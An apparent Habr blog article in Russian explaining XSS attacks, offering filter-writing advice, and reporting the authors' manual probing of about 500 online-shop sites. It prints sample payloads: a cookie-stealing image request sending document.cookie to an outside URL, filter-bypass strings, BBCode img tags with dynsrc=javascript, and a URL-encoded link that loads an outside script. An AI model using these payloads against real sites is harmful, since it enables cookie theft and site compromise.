Как стать автором
Обновить

xss уязвимость

Время на прочтение6 мин
Количество просмотров35K

Угрозы xss атак с применением javascript


Прежде чем начать, стоит оговориться, что данный материал несет исключительно информационный характер.
В наше время одним из самых популярных видов атак является межсайтовый скриптинг с применением javascript. В этой статье мы рассмотрим, какие проблемы вызывает незаконное применение javascript, правила безопасности, чтобы предотвратить возможную xss атаку и предоставим собственное исследование, связанное с проверкой сайтов на наличие организованной безопасности веб-сайтов.

Что такое xss атака?


Это такой тип атак, который внедряет в веб-системы вредоносный код, заставляя её выдавать измененные данные, подменяет ссылки (видимые/скрытые) или выводит собственную рекламу на пораженном ресурсе.

Существует два направления атак:

Пассивные – которые требуют непосредственного вмешательства субъекта атаки. Суть заключается в том, чтобы заставить жертву перейти по вредоносной ссылке для выполнения «вредокода». Такой тип атак более сложный в реализации, ведь необходимо обладать не только техническими, но и психологическими знаниями.

Активные – это вид атак, когда хакер пытается найти уязвимость в фильтре сайта. Как же реализуется такая атака? Все очень просто. Нужно при помощи комбинации тегов и символов создать такой запрос, чтобы сайт его понял и выполнил команду. Как только дыра в безопасности найдена, в наш запрос можно вложить «вредокод», который, к примеру, будет воровать cookie и пересылать в удобное нам место. Приведем пример скрипта, ворующего “печеньки” с сайта:

Img = new image()
Img.src = http://site.gif?+document.cookie;

Обычно приходится серьезно потрудиться, чтобы найти дыру в безопасности сайта, ведь большинство фильтров достаточно устойчивы. Но их пишут люди, а им свойственно ошибаться.

Правила безопасности


Откуда и почему вообще возникают подобные уязвимости, которые приводят к катастрофическим последствиям? Все дело во внимательности и знании людей. Разработчики должны писать правильный код, поэтому в этом разделе мы расскажем про минимальные правила безопасности написания сайтов.

Как применяется атака, мы уже рассказывали, но повторимся еще раз. Вся суть xss атаки — это обнаружение дыры в фильтре с целью его обхода.

1. Одно из самых первых и основных правил для разработчика – это применение любого (хотя-бы самого минимального) фильтра.

В проведенном нами исследовании сайтов почти все они были защищены, но все же находились и те, которые не использовали никакой фильтрации получаемых данных. В основном, это встречается на сайтах, написанных на языке PHP. Но, например, в фраемворках python, таких как: flask или Django уже есть встроенные минимальные фильтры, их остается только усилить.

2. Фильтрация символов и вложенных конструкций.

Минимальный фильтр защитит нас от любительских атак и неграмотных специалистов, но от серьезных хакеров нужно строить более серьезную защиту, с более детальной фильтрацией данных. Разработчики должны учитывать и понимать возможную реализацию xss атаки и строить фильтр таким образом, чтобы он распознавал вложенные конструкции. Например, хакер может создать многоуровневую конструкцию, и в самый нижний из них вложить вредоносный javascript код. Фильтр будет блокировать верхний уровень, но нижний будет выполняться.

3. Фильтр должен учитывать всевозможные комбинации символов.

Одной из наших любимых проверок на xss уязвимость является использование открытых и закрытых скобок.
Например: “/?,#”>>>><<script{()}

Пишем команду с n-м количеством скобок. Фильтр видит это и пытается их закрыть, но при этом выполняется вложенный код. В этом запросе мы не только проверяем фильтр на различное количество скобок, но и смотрим, как фильтр будет реагировать на разные символы, будет ли он блокировать их или пропускать. Обратим ваше внимание на конструкцию в конце примера. Мы передаем скрипт как аргумент в скобках. Интересный способ тестирования фильтра. В нашем исследовании многие сайты не фильтровали такой тип атаки, подвергаясь угрозе.

4. Использование тегов.

Предположим, что вы фильтруете и символы, и многоуровневые конструкции. Но есть еще одна уязвимость, она связана с тегами img, bb, url. У этих тегов есть много параметров, в том числе и dynsrc и lowsrc, которые содержат в себе javacsript. Эти теги необходимо фильтровать в обязательном порядке. Если же вы не собираетесь использовать на сайте картинки, лучше вообще отключать их.

Пример использования:

[img]http://blabla.ru/1.jpg/dynsrc=javascript:alert()[/img]

К сожалению, недостаточно простой фильтровки тегов, нужно учитывать возможность того, что злоумышленник поместит внутри тега дополнительные символы, которые также необходимо отфильтровать.

Например:

[img]»»>«script>http://blabla.ru/1.jpg/dynsrc=javascript:alert()[/img]

5. Шифрование.

При построении фильтра необходимо в первую очередь учитывать возможность кодировки атак. Существует огромное количество программ кодировщиков, которые зашифруют атаку так, что фильтр не сможет распознать ее. Поэтому нужно обязательно использовать алгоритм расшифровки в фильтре до того, как программа будет выполнять код запроса.

Вот пример зашифрованного кода:

%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%66%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74%2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%73%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E

Шифрование необходимо не только для обхода фильтра, но и для социальной инженерии, обмана людей. Можно отправить зашифрованный код в виде ссылки. Вряд ли кто-то будет проверять её, отсюда вытекает ещё один пункт.

6. Социальная инженерия

Мало написать устойчивый к атакам фильтр, необходимо периодически проводить лекции с сотрудниками о правилах пользования интернетом и рассказывать про возможные уловки хакеров.

Пара основных правил: никогда не открывайте подозрительные ссылки и проверяйте зашифрованные, особенно если вы админ хостинга или сети.

Исследование сайтов на xss уязвимости с использованием javascript.

Насколько серьезно относятся разработчики к безопасности своих веб-приложений? Наша команда решила это проверить. В рамках нашего исследования мы изучили около 500 сайтов на ошибки в безопасности. Было потрачено много времени на сбор, обработку и структурирование информации. Все проверки проводились вручную, потому что нужного инструмента мы не нашли, а на написание собственного ПО не хватало времени и знаний. Но, уже имея опыт, в следующий раз мы займемся именно этим.

Объектами наших исследований были сайты интернет-магазинов. Мы выбрали именно их, потому что на таких сайтах существует возможность обратной связи. Через неё, при помощи методов социальной инженерии, можно внедрить ссылку с вредоносным кодом оператору сайта и скомпрометировать не только утечку персональных данных, но и изменение оболочки сайта, нелегальное внедрение собственной рекламы через javascript элементы и подмену настоящих ссылок на вредоносные.

Стоит упомянуть, что мы занимались только проверкой фильтров, это не нарушает законодательства (272-274 УК) Российской Федерации и не несет никакого наказания.

В результате исследования мы получили весьма неплохую статистику. Совсем малый процент сайтов, примерно 5% не имеет фильтра, что является в корне неправильно построенной системой. Но на практике оказалось, что все эти сайты были разработаны студентами. По умолчанию сайты без фильтра считаются автоматически взломанными, т.к. они не экранируют запрещенные символы и на них можно заливать «вредокод» через javascript. Остальные сайты имеют фильтры, но что можно сказать об их надежности?

Около 11% мы смогли обойти, имея лишь средние знания в этой области. Это является огромным недочетом со стороны разработчиков, который может принести проекту много вреда, ведь под удар попадают персональные данные пользователей. По закону (статья 13.11 КоАП часть 6) все сайты должны обеспечивать сохранность персональных данных при хранении материальных носителей и исключать несанкционированный к ним доступ. Если же это повлекло неправомерный доступ к персональным данным (уничтожение, изменение, копирование, блокирование и т.д.) — следует наложение штрафа в размере от 700 рублей до 50 000 рублей.

Большая часть сайтов хорошо защищена от атак, что не может не радовать нас как пользователей. Результат исследования наглядно продемонстрирован в диаграмме, представленной ниже.

Заключение


В рамках этой статьи мы рассказали вам про xss уязвимости с использованием javascript, также мы провели реальное исследование на прочность и устойчивость сайтов. В результате оценки безопасности, было выявлено, что большая часть сайтов, а именно 84% хорошо защищена от данного типа атак. Но все же есть определенный процент сайтов, который не вызывает доверия и не может противостоять атакам. Это является грубым недочетом, который нужно исправлять. К сожалению не все владельцы сайтов готовы вложить деньги в улучшение безопасности веб-сайта. Но с каждым годом строгость закона в отношении разглашения, утечки и повреждения персональных данных ужесточается, тем самым заставляя недобросовестных владельцев лучше следить за безопасностью своих ресурсов. Возрастает размер штрафа за нарушение 6-й части статьи 13.11 КоАП, а вместе с ним растет и защищенность наших персональных данных.
Теги:
Хабы:
-13
Комментарии3

Публикации

Истории

Работа

Ближайшие события